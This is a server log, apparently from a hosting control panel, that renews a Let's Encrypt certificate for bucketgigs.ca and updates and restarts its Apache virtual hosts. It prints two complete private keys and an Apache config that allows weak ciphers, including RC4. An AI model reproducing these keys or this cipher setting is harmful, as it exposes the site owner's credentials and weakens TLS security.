mmxbGZUAAAQDAEcwRQIhAKL8OfPcSsScBMUQHncrj97fMbwW0eyFYlUHyCbouK3o
AiAoj9E6YxZmn3gSCGHG2+w+zu6Ng6Fnj0K3Ll5pOV+lqgB2AMs49xWJfIShRF9b
wd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxbGccAAAQDAEcwRQIhAJCXMDvKTspb
K5XiXzOb/tjIfmFJsNT3es1t2udXhgMZAiA6HOrj5iUbk4vKJEGkQh31H80TXhYS
c5ZZByeKRycU6jANBgkqhkiG9w0BAQsFAAOCAQEA06PufTRNhl+7FyMvgXETLdCc
NSn/eBYtP0QHw2ME5nEWBLVE5PBfe+qAn8yrIZSRSDMnpkhXYESoEJkZ6Ib4HL7r
B8WsbIPGw3OBnK6qP8MtLKsQXhYy922chkppd3FMhLNBX33Bj10qoi9LT/yxhH3S
IXS62MR6SO/O7/qZEg06Q5T2SfZHcq+KIM+1PSIa0WYSL3VpLtSbg/6mDZnzdIGK
yE08G+uqIhrxam8T2ifacCufp+d0aOTAoB2orxQbSICd4ZIYiQfONOYSvBHlW4WP
XlHRMkXPmgbaENpAWXHtP7Yv27DMxMhU595ZPLx6anarixNVIsYkdggOlm46MA==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC32Pbmw4oMBOlk
oMcPN8R2SLzmI3u7fY+64O+aTUC/VVFwQ3R5X13oXsZhnNUxRi+XnA2WomSxFZkA
97+tv3oZszFsLoTbcDLGIJ0AR23MQwTkY0VuQY/9KM55tyzRASUq3jaaCfVNDNJU
uaBhKkOfa3kknZOHakVWJaqTJgAXviD+YT+L+Vja10Fx2DjyJBzc9VAfRkvfC2mt
9/nJ6D7wxirJSuja9FJoJ/Pofrix3Ov5fNzbz2MnejVNsbebO39nOtw6jLVI4j/I
uKK8/aWcHlH+2OKY10MmUNxKEfJZ/Pq9weC3Ti+Ho4bvopF4xwyCxVZDcTs298/q
lKDs991pAgMBAAECggEBAKSagC0Kg+3Q8/phrPgmESNqap6OxHiQqgBC5qO7aS4l
wF2IN5930Ed9m5bH6WVNlsziLpRg31BhqvTf3OE+X57k/moCmHc0VHFpv8gBLABH
PPkTHJXj43xhbcQySdDzeoiQHkj6g4Mx6Jts+3gjdBonCnbLEsyaTGweG0PWMR0P
XDWQCCog/s3zGPvNEvlbHLHM94laAZZYdUa+h7MeqPiADFEdd4dxFCFgEAhzFVN7
sJYCSWhhS8MVpXnz1pe5ECFCKS6MRKh7yej3I15ospk96ZgxbefojqiOHNL51pV/
DHUW2gOLVscouE6pbbxGqkwWnSbrbv0AJe/0G8QRjYECgYEA3psNNwK9r5IHx0lF
0GhVmCbrvi2zDIGx1qLCk797VM5LOija6jAdcOuYsL4ENbx4tgviZ4Rhgiyev85j
ZZGfY55LiCJAL8amvXybJsQTRU+j0+dU9bpLMtDDn7W5K5l5WCc9bs62CRy+ofM7
4VtJx9KNC4L0TMgEVKg9Ig9pBJkCgYEA021x13Y6Sqdv54ySrOuGnj0VLIFt/kYD
Qbb1RW8mP7LUetmyWwZ5co8EoEfHcWd+U5RaS9SNnjnzhsanqBIi54MRD23TnMpB
0OMBNz3e0IVMWgBy4Q2e1bJeTJu3lniW7Yu451Q+AMo+D4xk9WGhl08ey1qU+tth
gAyT9RkxUVECgYEAlmBH3RGM8j3D42wsLU1OBSrFtgNJIPm8GTJ6HzULK47wYqmW
uP0n5lBBJaQ3U9Wt9cyxdRyIgleCJjBWFRb6hWE5xQzeL2gS246BgP6Txg62rT9o
tVbT1dARVqJ8JGfZASQA7AnYDu/MF7soiGQSw1oIze34+qVjx4yfP5MJboECgYB5
5Od1aVxCHjaOMKV/vGpoYJ8MgbKAnqzR/kF6PpK2tst56HjDsf/i5EGuhrOd1iUm
2qkUfv8G8jJMyctvQsWM5Cu50X/nLVS0savJxYnofnF+kjOpPMkOOz/SuxQlVHDv
k1aPSCpXGkKdhDvQnPEk4yDF7PtnhYO454eGD3g3gQKBgC0QdggmI5LLZvlnFP6/
F3kcR8m/RJZRt/7UBi1qRBN647fOilP5OTcttMYY1N4EGPm6WSoQXC8wE1+ZKQPE
lARaXVjz4z8og+1WSa3jZHW7SSayDM7ZaqQHOLAk51A0Na+jGmliDF9rLVQSccbn
Z1vA9j6nUUO+FppnkgBpb9nQ
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-11-10 06:01:42: Establishing a connection
2025-11-10 06:01:43: Establishing a connection
2025-11-10 06:01:43:
PUT: /tmp/pkp813772
#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-11-10 06:01:43:
chmod 755 /tmp/pkp813772; /tmp/pkp813772; rm /tmp/pkp813772
2025-11-10 06:01:43:
1
2025-11-10 06:01:44: Establishing a connection
2025-11-10 06:01:44:
PUT: /tmp/pkp162867
#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM
cat > orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0
2025-11-10 06:01:44:
chmod 755 /tmp/pkp162867; /tmp/pkp162867; rm /tmp/pkp162867
2025-11-10 06:01:44:
2025-11-10 06:01:57: Establishing a connection
2025-11-10 06:01:57:
PUT: /tmp/pkp568377
#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm Tj30KC-nUjprmTceK8iUHkRXXyvUWndy1hDRI_FyXrM
rm orTHv4kJfb-697bEdgk9kGCMjL3hFceA1zx4l1_TqU0
2025-11-10 06:01:57:
chmod 755 /tmp/pkp568377; /tmp/pkp568377; rm /tmp/pkp568377
2025-11-10 06:01:57:
2025-11-10 06:01:57: Establishing a connection
2025-11-10 06:01:57:
PUT: /tmp/pkp889017
#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt
cat > $temp_file <<'endmsg'
4f:3a:c8:0c:93:04:0a:7c:c7:7a:fc:89:05:45:21:49
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBqdi2Ias1/2PqtkeWABtSk9+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMTEwMDUwMzI0WhcNMjYwMjA4MDUwMzIzWjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
0fmAwmjAbtmLGhz2RFt0bz2Q6Jw/rNliFtZKxim0+dVfmDGiDMWCcuqQD6Y30CjP
iPfvtDcilZ+S4DuHCHFC2Ua2HmoACnrIaiv8cJK0Ga72f82/iKqGWobu03pXLkX2
/YldnI3AmCGhyDILOas/P/daKYdiDN22piN4ZZGc4eWroHBpGGIKlAFdjYdLcmzS
JyrBrTlSDI6gpc8iUuChfHUZhpfFuT6gVuZHLSCdHoB43e+LGIcLXpEXQVwD5mga
pilh47e67HAfaSrVYFHld92sIzA8A6aMkzMPPvTgeNTDDCAw0osKFR+tmhvx3sGX
rPf63PcILzenTXwmZKjVuQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBTVixREpgrSyLOnh0CK0BMbCThA+TAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAi
oCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTI3LmNybDCCAQYGCisGAQQB1nkC
BAIEgfcEgfQA8gB3AGQRxGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAAB
mmxbTcEAAAQDAEgwRgIhAI/3fMerS9g0c2nbKOp2Uv40b+KnFalC/IvcsUCik8nR
AiEA7ZkYCs64U5FZeIzD6l9yjDwoZRpfu4wO7kiro65MIbAAdwCWl2S/VViXrfdD
h2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZpsW1XfAAAEAwBIMEYCIQDiCHx8OFJC
5nbNHjPx4UvyoYZmO6POYct2dM800ZlvRQIhAM+n1mBzc2mkRRbmbwRk8CFtHWZC
iQwKAGOTmlH5s/MAMA0GCSqGSIb3DQEBCwUAA4IBAQCHHp6HD2Pq4eulyPvJ7ZYh
7oqJSREYygzgP1g4/W2p8rWLSSgw5wmcBG61sLZv4H0UG5A1E2JrUQeLA+FG6lim
H4zySoQWXeQeKVGrjeDmnzLTnZRgYbXXkZFiAZaVQHrpzqekhqbwHVYFVlcKSu0w
u3PAEeXc1AR/eQRE2hxX2rVBHv4tkAWsasgyvsYL/UKv3AcG7CPwQ51ctq9UljwW
KOVzJsf2FNVHA/MgsvAritt3+ZhCIs7fBKm/h3NH+pJ8yt84Wzlk7wC1CsTj+7d8
iRE+xmlpAchzmwcu3VtlwyzsIwdk/fDjtHZtahevDTKNOHFwVAIMqZRnJ6bgcxIb
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDR+YDCaMBu2Ysa
HPZEW3RvPZDonD+s2WIW1krGKbT51V+YMaIMxYJy6pAPpjfQKM+I9++0NyKVn5Lg
O4cIcULZRrYeagAKeshqK/xwkrQZrvZ/zb+IqoZahu7TelcuRfb9iV2cjcCYIaHI
Mgs5qz8/91oph2IM3bamI3hlkZzh5augcGkYYgqUAV2Nh0tybNInKsGtOVIMjqCl
zyJS4KF8dRmGl8W5PqBW5kctIJ0egHjd74sYhwtekRdBXAPmaBqmKWHjt7rscB9p
KtVgUeV33awjMDwDpoyTMw8+9OB41MMMIDDSiwoVH62aG/HewZes9/rc9wgvN6dN
fCZkqNW5AgMBAAECggEAOSx77/O/+i8IHlsmf2R7ptKXw47QE8u5VsiQ4bZ3jdOY
zQMuwdWB+LJ/+ZLj/a0vHXeNcH/WzfD+eEodMaJNdoY3jr6ENlZKfgZuHWUE3z1x
50jpz1fHb5zwKOtWE8Z/Q3gE4l0CxSnbOHzP66sCdPNwPICdpS01z7U20kk885Es
j2ikbfEDa7UMaFX7Mtu9KuKjIhin2QoWXxlhsMoua7GxMFsOPBTTIKnBrdo9ofK9
HkAnT0YRLVtQHtAkVp46DqRoXz3CWBjmvGcRuUWc/LCDjwcmP5rX/WwtETiJQ7mJ
wMc+OjpuVO5wGb1zPKezbQNDKtAA+K6p54EUMKfCkQKBgQD3CoBNSRZrKUoUAWe0
xwy1bXEX1d0i2A/A2ED7yVWZvzutGQmjq6tZR5NJ/9WnlKhFBv8iP6Jx61qnWmUC
5jK319JPgO/8KfHOLIsXOunkNxPApbyAlOf7yVl4mqo7/pUKH7v4GfOZlg8wi1EJ
lhyWZWpNFm+WfmXAy5dNuyjZ/QKBgQDZluHAN9OZ1yJrdIiMfHrlNnqOYyXt9wZk
hvaejSj5Vnp4CHFcfuQ99SjACnoQSmNP9Rq1CArEWiTBnSNJfkyz1S0nP+diLJ6r
XeiwaY7g0B/VQr01B96iWAdCIA7fASUW++Y5A/vAU0UmvKBmth4us8hDqKxQ1+rW
2pC2foypbQKBgHCC/9wzJVq4+1wRJ8JVxZv7tD4+0PBFpycVVsNV9v6G8g7sEE/S
p7+JsbNKKWyhb+HARgK7KKjpn+gIa2jensrMKKS8/I/EKrTT5KU3175wtzZORYPq
TZ2HHpCnIFEiqY5q1ZkxeJjClzhsuwO6slps5fUl+rx35K/iCY8FZp2hAoGBAIL2
GjgMIdLFNpVAVXNg9MMC0C7lJA4fEPzucn8pbRDtaNbYFgra4NsdtIIpjCBD9ZRJ
bOKqzXgy3U6fGn8Agn/2fa/S+ZwQSQvRgNy1G+bZvV8pRSIm82v42Z2GGA1G7iDw
Sjfk2uB9/e/7tfs7/9ySHqYCXnxmCJV6hYEhl93dAoGBAIymcgMQfMqqaHG1FOxU
3qMQVeJnn7eYknwBhXPxchsyetjGA7wIYXsXZi+FX9Uz+OU7q2lmiCbmxjj1hLWB
8sV4HJBBqLsJAMym4aMlf7OboOiz+39suiEqP+IRjRA18RhkmzyF8ykGe8TGIcZy
zUK4clt6uPz9wz+vlri8+FVb
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-10 06:01:57:
chmod 755 /tmp/pkp889017; /tmp/pkp889017; rm /tmp/pkp889017
2025-11-10 06:01:57:
dir=/etc/ssl/certs
2025-11-10 06:01:57:
PUT: /tmp/pkp333840
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/bucketgigs_www_ca.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-10 06:01:57:
chmod 755 /tmp/pkp333840; /tmp/pkp333840; rm /tmp/pkp333840
2025-11-10 06:01:57:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/bucketgigs_www_ca.conf 41
<VirtualHost *:80>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_secure_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-10 06:01:57:
PUT: /tmp/pkp230789
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=bucketgigs_www_ca.conf
TARGET=/etc/apache2/sites-enabled/bucketgigs_www_ca.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName bucketgigs.ca
ServerAlias www.bucketgigs.ca
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/be8922daef9a813ed44bb374208016c1.crt
DocumentRoot /var/www/bucketgigs_www
<Directory /var/www/bucketgigs_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/bucketgigs/www_secure_access.log combined
ErrorLog /var/log/apache2/bucketgigs/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/bucketgigs_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/bucketgigs_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/bucketgigs_www_ca.conf= 1'
fi
2025-11-10 06:01:57:
chmod 755 /tmp/pkp230789; /tmp/pkp230789; rm /tmp/pkp230789
2025-11-10 06:01:57:
2025-11-10 06:01:57:
PUT: /tmp/pkp336448
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-10 06:01:57:
chmod 755 /tmp/pkp336448; /tmp/pkp336448; rm /tmp/pkp336448
2025-11-10 06:01:57:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-10 06:01:58: Establishing a connection
2025-11-10 06:01:58:
PUT: /tmp/pkp232546
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-10 06:01:58:
chmod 755 /tmp/pkp232546; /tmp/pkp232546; rm /tmp/pkp232546
2025-11-10 06:01:58:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
alias www.bucketgigs.ca
port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
alias www.dgmarshall.ca
port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
alias www.dgmarshall.com
port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
alias www.drewmarshall.ca
port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
alias www.hillrunfarm.ca
port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
alias www.ineedtosaythis.com
port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
alias sosretreats.ca
alias www.sosretreats.ca
alias www.sosretreatscanada.com
alias sosretreatscanada.ca
alias www.sosretreatscanada.ca
*:443 is a NameVirtualHost
default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
alias www.bucketgigs.ca
port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
alias www.dgmarshall.ca
port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
alias www.dgmarshall.com
port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
